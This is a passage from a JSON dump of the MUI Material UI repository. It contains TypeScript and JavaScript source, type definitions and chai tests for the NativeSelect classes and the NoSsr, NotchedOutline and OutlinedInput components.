    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface NativeSelectClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the select component `select` class. */\n  select: string;\n  /** Styles applied to the select component if `multiple={true}`. */\n  multiple: string;\n  /** Styles applied to the select component if `variant=\"filled\"`. */\n  filled: string;\n  /** Styles applied to the select component if `variant=\"outlined\"`. */\n  outlined: string;\n  /** Styles applied to the select component if `variant=\"standard\"`. */\n  standard: string;\n  /** State class applied to the select component `disabled` class. */\n  disabled: string;\n  /** Styles applied to the icon component. */\n  icon: string;\n  /** Styles applied to the icon component if the popup is open. */\n  iconOpen: string;\n  /** Styles applied to the icon component if `variant=\"filled\"`. */\n  iconFilled: string;\n  /** Styles applied to the icon component if `variant=\"outlined\"`. */\n  iconOutlined: string;\n  /** Styles applied to the icon component if `variant=\"standard\"`. */\n  iconStandard: string;\n  /** Styles applied to the underlying native input component. */\n  nativeInput: string;\n  /** State class applied to the select component `error` class. */\n  error: string;\n}\n\nexport type NativeSelectClassKey = keyof NativeSelectClasses;\n\nexport function getNativeSelectUtilityClasses(slot: string): string {\n  return generateUtilityClass('MuiNativeSelect', slot);\n}\n\nconst nativeSelectClasses: NativeSelectClasses = generateUtilityClasses('MuiNativeSelect', [\n  'root',\n  'select',\n  'multiple',\n  'filled',\n  'outlined',\n  'standard',\n  'disabled',\n  'icon',\n  'iconOpen',\n  'iconFilled',\n  'iconOutlined',\n  'iconStandard',\n  'nativeInput',\n  'error',\n]);\n\nexport default nativeSelectClasses;\n"
  },
  {
    "path": "packages/mui-material/src/NoSsr/NoSsr.test.tsx",
    "content": "import { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport NoSsr from '@mui/material/NoSsr';\n\ndescribe('<NoSsr />', () => {\n  const { render, renderToString } = createRenderer();\n\n  describe('server-side rendering', () => {\n    it('should not render the children as the width is unknown', () => {\n      const { container } = renderToString(\n        <NoSsr>\n          <span>Hello</span>\n        </NoSsr>,\n      );\n\n      expect(container.firstChild).to.equal(null);\n    });\n  });\n\n  describe('mounted', () => {\n    it('should render the children', () => {\n      render(\n        <NoSsr>\n          <span id=\"client-only\" />\n        </NoSsr>,\n      );\n      expect(document.querySelector('#client-only')).not.to.equal(null);\n    });\n  });\n\n  describe('prop: fallback', () => {\n    it('should render the fallback', () => {\n      const { container } = renderToString(\n        <div>\n          <NoSsr fallback=\"fallback\">\n            <span>Hello</span>\n          </NoSsr>\n        </div>,\n      );\n\n      expect(container.firstChild).to.have.text('fallback');\n    });\n  });\n\n  describe('prop: defer', () => {\n    it('should defer the rendering', () => {\n      render(\n        <NoSsr defer>\n          <span id=\"client-only\">Hello</span>\n        </NoSsr>,\n      );\n      expect(document.querySelector('#client-only')).not.to.equal(null);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/NoSsr/NoSsr.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport useEnhancedEffect from '@mui/utils/useEnhancedEffect';\nimport exactProp from '@mui/utils/exactProp';\nimport { NoSsrProps } from './NoSsr.types';\n\n/**\n * NoSsr purposely removes components from the subject of Server Side Rendering (SSR).\n *\n * This component can be useful in a variety of situations:\n *\n * * Escape hatch for broken dependencies not supporting SSR.\n * * Improve the time-to-first paint on the client by only rendering above the fold.\n * * Reduce the rendering time on the server.\n * * Under too heavy server load, you can turn on service degradation.\n *\n * Demos:\n *\n * - [No SSR](https://next.mui.com/material-ui/react-no-ssr/)\n *\n * API:\n *\n * - [NoSsr API](https://next.mui.com/material-ui/api/no-ssr/)\n */\nfunction NoSsr(props: NoSsrProps): React.JSX.Element {\n  const { children, defer = false, fallback = null } = props;\n  const [mountedState, setMountedState] = React.useState(false);\n\n  useEnhancedEffect(() => {\n    if (!defer) {\n      setMountedState(true);\n    }\n  }, [defer]);\n\n  React.useEffect(() => {\n    if (defer) {\n      setMountedState(true);\n    }\n  }, [defer]);\n\n  // TODO casting won't be needed at one point https://github.com/DefinitelyTyped/DefinitelyTyped/pull/65135\n  return (mountedState ? children : fallback) as React.JSX.Element;\n}\n\nNoSsr.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │ To update them, edit the TypeScript types and run `pnpm proptypes`. │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * You can wrap a node.\n   */\n  children: PropTypes.node,\n  /**\n   * If `true`, the component will not only prevent server-side rendering.\n   * It will also defer the rendering of the children into a different screen frame.\n   * @default false\n   */\n  defer: PropTypes.bool,\n  /**\n   * The fallback content to display.\n   * @default null\n   */\n  fallback: PropTypes.node,\n} as any;\n\nif (process.env.NODE_ENV !== 'production') {\n  // eslint-disable-next-line\n  (NoSsr as any)['propTypes' + ''] = exactProp(NoSsr.propTypes);\n}\n\nexport default NoSsr;\n"
  },
  {
    "path": "packages/mui-material/src/NoSsr/NoSsr.types.ts",
    "content": "import * as React from 'react';\n\nexport interface NoSsrProps {\n  /**\n   * You can wrap a node.\n   */\n  children?: React.ReactNode;\n  /**\n   * If `true`, the component will not only prevent server-side rendering.\n   * It will also defer the rendering of the children into a different screen frame.\n   * @default false\n   */\n  defer?: boolean | undefined;\n  /**\n   * The fallback content to display.\n   * @default null\n   */\n  fallback?: React.ReactNode;\n}\n"
  },
  {
    "path": "packages/mui-material/src/NoSsr/index.d.ts",
    "content": "export { default } from './NoSsr';\nexport * from './NoSsr';\nexport * from './NoSsr.types';\n"
  },
  {
    "path": "packages/mui-material/src/NoSsr/index.js",
    "content": "export { default } from './NoSsr';\n"
  },
  {
    "path": "packages/mui-material/src/OutlinedInput/NotchedOutline.d.ts",
    "content": "import * as React from 'react';\nimport { InternalStandardProps as StandardProps } from '../internal';\n\nexport interface NotchedOutlineProps extends StandardProps<\n  React.FieldsetHTMLAttributes<HTMLFieldSetElement>\n> {\n  disabled?: boolean | undefined;\n  error?: boolean | undefined;\n  focused?: boolean | undefined;\n  label?: React.ReactNode;\n  notched: boolean;\n}\n\nexport type NotchedOutlineClassKey = keyof NonNullable<NotchedOutlineProps['classes']>;\n\ndeclare const NotchedOutline: React.JSXElementConstructor<NotchedOutlineProps>;\n\nexport default NotchedOutline;\n"
  },
  {
    "path": "packages/mui-material/src/OutlinedInput/NotchedOutline.js",
    "content": "'use client';\nimport PropTypes from 'prop-types';\nimport rootShouldForwardProp from '../styles/rootShouldForwardProp';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\n\nconst NotchedOutlineRoot = styled('fieldset', {\n  name: 'MuiNotchedOutlined',\n  shouldForwardProp: rootShouldForwardProp,\n})({\n  textAlign: 'left',\n  position: 'absolute',\n  bottom: 0,\n  right: 0,\n  top: -5,\n  left: 0,\n  margin: 0,\n  padding: '0 8px',\n  pointerEvents: 'none',\n  borderRadius: 'inherit',\n  borderStyle: 'solid',\n  borderWidth: 1,\n  overflow: 'hidden',\n  minWidth: '0%',\n});\n\nconst NotchedOutlineLegend = styled('legend', {\n  name: 'MuiNotchedOutlined',\n  shouldForwardProp: rootShouldForwardProp,\n})(\n  memoTheme(({ theme }) => ({\n    float: 'unset', // Fix conflict with bootstrap\n    width: 'auto', // Fix conflict with bootstrap\n    overflow: 'hidden', // Fix Horizontal scroll when label too long\n    variants: [\n      {\n        props: ({ ownerState }) => !ownerState.withLabel,\n        style: {\n          padding: 0,\n          lineHeight: '11px', // sync with `height` in `legend` styles\n          transition: theme.transitions.create('width', {\n            duration: 150,\n            easing: theme.transitions.easing.easeOut,\n          }),\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.withLabel,\n        style: {\n          display: 'block', // Fix conflict with normalize.css and sanitize.css\n          padding: 0,\n          height: 11, // sync with `lineHeight` in `legend` styles\n          fontSize: '0.75em',\n          visibility: 'hidden',\n          maxWidth: 0.01,\n          transition: theme.transitions.create('max-width', {\n            duration: 50,\n            easing: theme.transitions.easing.easeOut,\n          }),\n          whiteSpace: 'nowrap',\n          '& > span': {\n            paddingLeft: 5,\n            paddingRight: 5,\n            display: 'inline-block',\n            opacity: 0,\n            visibility: 'visible',\n          },\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.withLabel && ownerState.notched,\n        style: {\n          maxWidth: '100%',\n          transition: theme.transitions.create('max-width', {\n            duration: 100,\n            easing: theme.transitions.easing.easeOut,\n            delay: 50,\n          }),\n        },\n      },\n    ],\n  })),\n);\n\n/**\n * @ignore - internal component.\n */\nexport default function NotchedOutline(props) {\n  const { children, classes, className, label, notched, ...other } = props;\n  const withLabel = label != null && label !== '';\n  const ownerState = {\n    ...props,\n    notched,\n    withLabel,\n  };\n  return (\n    <NotchedOutlineRoot aria-hidden className={className} ownerState={ownerState} {...other}>\n      <NotchedOutlineLegend ownerState={ownerState}>\n        {/* Use the nominal use case of the legend, avoid rendering artefacts. */}\n        {withLabel ? (\n          <span>{label}</span>\n        ) : (\n          // notranslate needed while Google Translate will not fix zero-width space issue\n          <span className=\"notranslate\" aria-hidden>\n            &#8203;\n          </span>\n        )}\n      </NotchedOutlineLegend>\n    </NotchedOutlineRoot>\n  );\n}\n\nNotchedOutline.propTypes /* remove-proptypes */ = {\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The label.\n   */\n  label: PropTypes.node,\n  /**\n   * If `true`, the outline is notched to accommodate the label.\n   */\n  notched: PropTypes.bool.isRequired,\n  /**\n   * @ignore\n   */\n  style: PropTypes.object,\n};\n"
  },
  {
    "path": "packages/mui-material/src/OutlinedInput/NotchedOutline.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, isJsdom } from '@mui/internal-test-utils';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport NotchedOutline from './NotchedOutline';\n\ndescribe('<NotchedOutline />', () => {\n  const { render } = createRenderer();\n\n  const defaultProps = {\n    notched: true,\n    label: 'My label',\n  };\n\n  it('should pass props', () => {\n    const { container } = render(\n      <NotchedOutline\n        {...defaultProps}\n        className=\"notched-outline\"\n        style={{\n          width: 17,\n        }}\n      />,\n    );\n\n    expect(container.querySelector('fieldset')).to.have.class('notched-outline');\n    expect(container.querySelector('fieldset').style.width).to.equal('17px');\n  });\n\n  it('should set alignment rtl', () => {\n    const { container: container1 } = render(\n      <ThemeProvider\n        theme={createTheme({\n          direction: 'ltr',\n        })}\n      >\n        <NotchedOutline {...defaultProps} />\n      </ThemeProvider>,\n    );\n    expect(container1.querySelector('fieldset')).toHaveComputedStyle({\n      paddingLeft: '8px',\n    });\n\n    const { container: container2 } = render(\n      <ThemeProvider\n        theme={createTheme({\n          direction: 'rtl',\n        })}\n      >\n        <NotchedOutline {...defaultProps} />\n      </ThemeProvider>,\n    );\n    expect(container2.querySelector('fieldset')).toHaveComputedStyle({\n      paddingRight: '8px',\n    });\n  });\n\n  it.skipIf(isJsdom())(\n    'should not set padding (notch) for empty, null or undefined label props',\n    function test() {\n      const spanStyle = { paddingLeft: '0px', paddingRight: '0px' };\n      ['', undefined, null].forEach((prop) => {\n        const { container: container1 } = render(<NotchedOutline {...defaultProps} label={prop} />);\n        expect(container1.querySelector('span')).toHaveComputedStyle(spanStyle);\n      });\n    },\n  );\n});\n"
  },
  {
    "path": "packages/mui-material/src/OutlinedInput/OutlinedInput.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { InputBaseProps } from '../InputBase';\nimport { OutlinedInputClasses } from './outlinedInputClasses';\n\ninterface OutlinedInputSlots {\n  /**\n   * The component that renders the notchedOutline slot.\n   * @default NotchedOutline\n   */\n  notchedOutline: React.ElementType;\n}\n\ntype OutlinedInputSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  OutlinedInputSlots,\n  {\n    notchedOutline: SlotProps<'fieldset', {}, OutlinedInputOwnerState>;\n  }\n> & {\n  slots?: InputBaseProps['slots'] | undefined;\n  slotProps?: InputBaseProps['slotProps'] | undefined;\n};\n\nexport interface OutlinedInputProps\n  extends\n    Omit<StandardProps<InputBaseProps>, 'slots' | 'slotProps'>,\n    OutlinedInputSlotsAndSlotProps {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<OutlinedInputClasses> | undefined;\n  /**\n   * The label of the `input`. It is only used for layout. The actual labelling\n   * is handled by `InputLabel`.\n   */\n  label?: React.ReactNode;\n  /**\n   * If `true`, the outline is notched to accommodate the label.\n   */\n  notched?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface OutlinedInputOwnerState extends Omit<OutlinedInputProps, 'slots' | 'slotProps'> {}\n\n/**\n *\n * Demos:\n *\n * - [Number Field](https://next.mui.com/material-ui/react-number-field/)\n * - [Text Field](https://next.mui.com/material-ui/react-text-field/)\n *\n * API:\n *\n * - [OutlinedInput API](https://next.mui.com/material-ui/api/outlined-input/)\n * - inherits [InputBase API](https://next.mui.com/material-ui/api/input-base/)\n */\ndeclare const OutlinedInput: ((props: OutlinedInputProps) => React.JSX.Element) & {\n  muiName: string;\n};\n\nexport default OutlinedInput;\n"
  },
  {
    "path": "packages/mui-material/src/OutlinedInput/OutlinedInput.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport refType from '@mui/utils/refType';\nimport composeClasses from '@mui/utils/composeClasses';\nimport NotchedOutline from './NotchedOutline';\nimport useFormControl from '../FormControl/useFormControl';\nimport formControlState from '../FormControl/formControlState';\nimport rootShouldForwardProp from '../styles/rootShouldForwardProp';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport outlinedInputClasses, { getOutlinedInputUtilityClass } from './outlinedInputClasses';\nimport InputBase, {\n  rootOverridesResolver as inputBaseRootOverridesResolver,\n  inputOverridesResolver as inputBaseInputOverridesResolver,\n  InputBaseRoot,\n  InputBaseInput,\n} from '../InputBase/InputBase';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n    notchedOutline: ['notchedOutline'],\n    input: ['input'],\n  };\n\n  const composedClasses = composeClasses(slots, getOutlinedInputUtilityClass, classes);\n\n  return {\n    ...classes, // forward classes to the InputBase\n    ...composedClasses,\n  };\n};\n\nconst OutlinedInputRoot = styled(InputBaseRoot, {\n  shouldForwardProp: (prop) => rootShouldForwardProp(prop) || prop === 'classes',\n  name: 'MuiOutlinedInput',\n  slot: 'Root',\n  overridesResolver: inputBaseRootOverridesResolver,\n})(\n  memoTheme(({ theme }) => {\n    const borderColor =\n      theme.palette.mode === 'light' ? 'rgba(0, 0, 0, 0.23)' : 'rgba(255, 255, 255, 0.23)';\n    return {\n      position: 'relative',\n      borderRadius: (theme.vars || theme).shape.borderRadius,\n      [`&:hover .${outlinedInputClasses.notchedOutline}`]: {\n        borderColor: (theme.vars || theme).palette.text.primary,\n      },\n      // Reset on touch devices, it doesn't add specificity\n      '@media (hover: none)': {\n        [`&:hover .${outlinedInputClasses.notchedOutline}`]: {\n          borderColor: theme.vars\n            ? theme.alpha(theme.vars.palette.common.onBackground, 0.23)\n            : borderColor,\n        },\n      },\n      [`&.${outlinedInputClasses.focused} .${outlinedInputClasses.notchedOutline}`]: {\n        borderWidth: 2,\n      },\n      variants: [\n        ...Object.entries(theme.palette)\n          .filter(createSimplePaletteValueFilter())\n          .map(([color]) => ({\n            props: { color },\n            style: {\n              [`&.${outlinedInputClasses.focused} .${outlinedInputClasses.notchedOutline}`]: {\n                borderColor: (theme.vars || theme).palette[color].main,\n              },\n            },\n          })),\n        {\n          props: {}, // to override the above style\n          style: {\n            [`&.${outlinedInputClasses.error} .${outlinedInputClasses.notchedOutline}`]: {\n              borderColor: (theme.vars || theme).palette.error.main,\n            },\n            [`&.${outlinedInputClasses.disabled} .${outlinedInputClasses.notchedOutline}`]: {\n              borderColor: (theme.vars || theme).palette.action.disabled,\n            },\n          },\n        },\n        {\n          props: ({ ownerState }) => ownerState.startAdornment,\n          style: {\n            paddingLeft: 14,\n          },\n        },\n        {\n          props: ({ ownerState }) => ownerState.endAdornment,\n          style: {\n            paddingRight: 14,\n          },\n        },\n        {\n          props: ({ ownerState }) => ownerState.multiline,\n          style: {\n            padding: '16.5px 14px',\n          },\n        },\n        {\n          props: ({ ownerState, size }) => ownerState.multiline && size === 'small',\n          style: {\n            padding: '8.5px 14px',\n          },\n        },\n      ],\n    };\n  }),\n);\n\nconst NotchedOutlineRoot = styled(NotchedOutline, {\n  name: 'MuiOutlinedInput',\n  slot: 'NotchedOutline',\n})(\n  memoTheme(({ theme }) => {\n    const borderColor =\n      theme.palette.mode === 'light' ? 'rgba(0, 0, 0, 0.23)' : 'rgba(255, 255, 255, 0.23)';\n    return {\n      borderColor: theme.vars\n        ? theme.alpha(theme.vars.palette.common.onBackground, 0.23)\n        : borderColor,\n    };\n  }),\n);\n\nconst OutlinedInputInput = styled(InputBaseInput, {\n  name: 'MuiOutlinedInput',\n  slot: 'Input',\n  overridesResolver: inputBaseInputOverridesResolver,\n})(\n  memoTheme(({ theme }) => ({\n    padding: '16.5px 14px',\n    ...(!theme.vars && {\n      '&:-webkit-autofill': {\n        WebkitBoxShadow: theme.palette.mode === 'light' ? null : '0 0 0 100px #266798 inset',\n        WebkitTextFillColor: theme.palette.mode === 'light' ? null : '#fff',\n        caretColor: theme.palette.mode === 'light' ? null : '#fff',\n        borderRadius: 'inherit',\n      },\n    }),\n    ...(theme.vars && {\n      '&:-webkit-autofill': {\n        borderRadius: 'inherit',\n      },\n      [theme.getColorSchemeSelector('dark')]: {\n        '&:-webkit-autofill': {\n          WebkitBoxShadow: '0 0 0 100px #266798 inset',\n          WebkitTextFillColor: '#fff',\n          caretColor: '#fff',\n        },\n      },\n    }),\n    variants: [\n      {\n        props: {\n          size: 'small',\n        },\n        style: {\n          padding: '8.5px 14px',\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.multiline,\n        style: {\n          padding: 0,\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.startAdornment,\n        style: {\n          paddingLeft: 0,\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.endAdornment,\n        style: {\n          paddingRight: 0,\n        },\n      },\n    ],\n  })),\n);\n\nconst OutlinedInput = React.forwardRef(function OutlinedInput(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiOutlinedInput' });\n  const {\n    fullWidth = false,\n    inputComponent = 'input',\n    label,\n    multiline = false,\n    notched,\n    slots = {},\n    slotProps = {},\n    type = 'text',\n    ...other\n  } = props;\n\n  const classes = useUtilityClasses(props);\n\n  const muiFormControl = useFormControl();\n  const fcs = formControlState({\n    props,\n    muiFormControl,\n    states: ['color', 'disabled', 'error', 'focused', 'hiddenLabel', 'size', 'required'],\n  });\n\n  const ownerState = {\n    ...props,\n    color: fcs.color || 'primary',\n    disabled: fcs.disabled,\n    error: fcs.error,\n    focused: fcs.focused,\n    formControl: muiFormControl,\n    fullWidth,\n    hiddenLabel: fcs.hiddenLabel,\n    multiline,\n    size: fcs.size,\n    type,\n  };\n\n  const RootSlot = slots.root ?? OutlinedInputRoot;\n  const InputSlot = slots.input ?? OutlinedInputInput;\n\n  const [NotchedSlot, notchedProps] = useSlot('notchedOutline', {\n    elementType: NotchedOutlineRoot,\n    className: classes.notchedOutline,\n    shouldForwardComponentProp: true,\n    ownerState,\n    externalForwardedProps: {\n      slots,\n      slotProps,\n    },\n    additionalProps: {\n      label:\n        label != null && label !== '' && fcs.required ? (\n          <React.Fragment>\n            {label}\n            &thinsp;{'*'}\n          </React.Fragment>\n        ) : (\n          label\n        ),\n    },\n  });\n\n  return (\n    <InputBase\n      slots={{ root: RootSlot, input: InputSlot }}\n      slotProps={slotProps}\n      renderSuffix={(state) => (\n        <NotchedSlot\n          {...notchedProps}\n          notched={\n            typeof notched !== 'undefined'\n              ? notched\n              : Boolean(state.startAdornment || state.filled || state.focused)\n          }\n        />\n      )}\n      fullWidth={fullWidth}\n      inputComponent={inputComponent}\n      multiline={multiline}\n      ref={ref}\n      type={type}\n      {...other}\n      classes={{\n        ...classes,\n        notchedOutline: null,\n      }}\n    />\n  );\n});\n\nOutlinedInput.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * This prop helps users to fill forms faster, especially on mobile devices.\n   * The name can be confusing, as it's more like an autofill.\n   * You can learn more about it [following the specification](https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#autofill).\n   */\n  autoComplete: PropTypes.string,\n  /**\n   * If `true`, the `input` element is focused during the first mount.\n   */\n  autoFocus: PropTypes.bool,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * The prop defaults to the value (`'primary'`) inherited from the parent FormControl component.\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['primary', 'secondary']),\n    PropTypes.string,\n  ]),\n  /**\n   * The default value. Use when the component is not controlled.\n   */\n  defaultValue: PropTypes.any,\n  /**\n   * If `true`, the component is disabled.\n   * The prop defaults to the value (`false`) inherited from the parent FormControl component.\n   */\n  disabled: PropTypes.bool,\n  /**\n   * End `InputAdornment` for this component.\n   */\n  endAdornment: PropTypes.node,\n  /**\n   * If `true`, the `input` will indicate an error.\n   * The prop defaults to the value (`false`) inherited from the parent FormControl component.\n   */\n  error: PropTypes.bool,\n  /**\n   * If `true`, the `input` will take up the full width of its container.\n   * @default false\n   */\n  fullWidth: PropTypes.bool,\n  /**\n   * The id of the `input` element.\n   */\n  id: PropTypes.string,\n  /**\n   * The component used for the `input` element.\n   * Either a string to use a HTML element or a component.\n   * @default 'input'\n   */\n  inputComponent: PropTypes.elementType,\n  /**\n   * [Attributes](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#attributes) applied to the `input` element.\n   * @default {}\n   */\n  inputProps: PropTypes.object,\n  /**\n   * Pass a ref to the `input` element.\n   */\n  inputRef: refType,\n  /**\n   * The label of the `input`. It is only used for layout. The actual labelling\n   * is handled by `InputLabel`.\n   */\n  label: PropTypes.node,\n  /**\n   * If `dense`, will adjust vertical spacing. This is normally obtained via context from\n   * FormControl.\n   * The prop defaults to the value (`'none'`) inherited from the parent FormControl component.\n   */\n  margin: PropTypes.oneOf(['dense', 'none']),\n  /**\n   * Maximum number of rows to display when multiline option is set to true.\n   */\n  maxRows: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * Minimum number of rows to display when multiline option is set to true.\n   */\n  minRows: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * If `true`, a [TextareaAutosize](https://mui.com/material-ui/react-textarea-autosize/) element is rendered.\n   * @default false\n   */\n  multiline: PropTypes.bool,\n  /**\n   * Name attribute of the `input` element.\n   */\n  name: PropTypes.string,\n  /**\n   * If `true`, the outline is notched to accommodate the label.\n   */\n  notched: PropTypes.bool,\n  /**\n   * Callback fired when the value is changed.\n   *\n   * @param {React.ChangeEvent<HTMLTextAreaElement | HTMLInputElement>} event The event source of the callback.\n   * You can pull out the new value by accessing `event.target.value` (string).\n   */\n  onChange: PropTypes.func,\n  /**\n   * The short hint displayed in the `input` before the user enters a value.\n   */\n  placeholder: PropTypes.string,\n  /**\n   * It prevents the user from changing the value of the field\n   * (not from interacting with the field).\n   */\n  readOnly: PropTypes.bool,\n  /**\n   * If `true`, the `input` element is required.\n   * The prop defaults to the value (`false`) inherited from the parent FormControl component.\n   */\n  required: PropTypes.bool,\n  /**\n   * Number of rows to display when multiline option is set to true.\n   */\n  rows: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    input: PropTypes.object,\n    notchedOutline: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.object,\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    input: PropTypes.elementType,\n    notchedOutline: PropTypes.elementType,\n    root: PropTypes.elementType,\n  }),\n  /**\n   * Start `InputAdornment` for this component.\n   */\n  startAdornment: PropTypes.node,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * Type of the `input` element. It should be [a valid HTML5 input type](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#input_types).\n   * @default 'text'\n   */\n  type: PropTypes.string,\n  /**\n   * The value of the `input` element, required for a controlled component.\n   */\n  value: PropTypes.any,\n};\n\nOutlinedInput.muiName = 'Input';\n\nexport default OutlinedInput;\n"
  },
  {
    "path": "packages/mui-material/src/OutlinedInput/OutlinedInput.spec.tsx",
    "content": "import OutlinedInput from '@mui/material/OutlinedInput';\n\nfunction NoNotched() {\n  return null;\n}\n\n<OutlinedInput\n  slots={{\n    notchedOutline: NoNotched,\n  }}\n/>;\n<OutlinedInput\n  slotProps={{\n    notchedOutline: {\n      className: 'hidden',\n    },\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-material/src/OutlinedInput/OutlinedInput.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport OutlinedInput, { outlinedInputClasses as classes } from '@mui/material/OutlinedInput';\nimport InputBase from '@mui/material/InputBase';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<OutlinedInput />', () => {\n  const { render } = createRenderer();\n\n  const CustomNotchedOutline = React.forwardRef(({ notched, ownerState, ...props }, ref) => (\n    <i ref={ref} data-testid=\"custom\" {...props} />\n  ));\n\n  describeConformance(<OutlinedInput label=\"Label\" />, () => ({\n    classes,\n    inheritComponent: InputBase,\n    render,\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiOutlinedInput',\n    testDeepOverrides: { slotName: 'input', slotClassName: classes.input },\n    testVariantProps: { variant: 'contained', fullWidth: true },\n    testStateOverrides: { prop: 'size', value: 'small', styleKey: 'sizeSmall' },\n    slots: {\n      // can't test with DOM element as InputBase places an ownerState prop on it unconditionally.\n      root: { expectedClassName: classes.root, testWithElement: null },\n      input: { expectedClassName: classes.input, testWithElement: null },\n      notchedOutline: {\n        expectedClassName: classes.notchedOutline,\n        testWithElement: CustomNotchedOutline,\n      },\n    },\n    skip: [\n      'componentProp',\n      'slotPropsCallback', // not supported yet\n      'slotPropsCallbackWithPropsAsOwnerState', // not supported yet\n    ],\n  }));\n\n  it('should render a NotchedOutline', () => {\n    const { container } = render(\n      <OutlinedInput classes={{ notchedOutline: 'notched-outlined' }} />,\n    );\n\n    expect(container.querySelector('.notched-outlined')).not.to.equal(null);\n  });\n\n  it('should set correct label prop on outline', () => {\n    const { container } = render(\n      <OutlinedInput\n        classes={{ notchedOutline: 'notched-outlined' }}\n        label={<div data-testid=\"label\">label</div>}\n        required\n      />,\n    );\n    const notchOutlined = container.querySelector('.notched-outlined legend');\n    expect(notchOutlined).to.have.text('label\\u2009*');\n  });\n\n  it('should forward classes to InputBase', () => {\n    render(<OutlinedInput error classes={{ error: 'error' }} />);\n    expect(document.querySelector('.error')).not.to.equal(null);\n  });\n\n  it('should respect the slotProps if passed', () => {\n    render(<OutlinedInput slotProps={{ root: { 'data-test': 'test' } }} />);\n    expect(document.querySelector('[data-test=test]')).not.to.equal(null);\n  });\n\n  it('should respect the classes coming from InputBase', () => {\n    render(\n      <OutlinedInput\n        data-test=\"test\"\n        multiline\n        sx={{ [`&.${classes.multiline}`]: { mt: '10px' } }}\n      />,\n    );\n    expect(document.querySelector('[data-test=test]')).toHaveComputedStyle({ marginTop: '10px' });\n  });\n\n  it('should have ownerState in the theme style overrides', () => {\n    expect(() =>\n      render(\n        <ThemeProvider\n          theme={createTheme({\n            components: {\n              MuiOutlinedInput: {\n                styleOverrides: {\n                  root: ({ ownerState }) => ({\n                    // test that ownerState is not undefined\n                    ...(ownerState.disabled && {}),\n                  }),\n                },\n              },\n            },\n          })}\n        >\n          <OutlinedInput />\n        </ThemeProvider>,\n      ),\n    ).not.to.throw();\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/OutlinedInput/index.d.ts",
    "content": "export { default } from './OutlinedInput';\nexport * from './OutlinedInput';\n\nexport { default as outlinedInputClasses } from './outlinedInputClasses';\nexport * from './outlinedInputClasses';\n"
  },
  {
    "path": "packages/mui-material/src/OutlinedInput/index.js",
    "content": "export { default } from './OutlinedInput';\n\nexport { default as outlinedInputClasses } from './outlinedInputClasses';\nexport * from './outlinedInputClasses';\n"
  },
  {
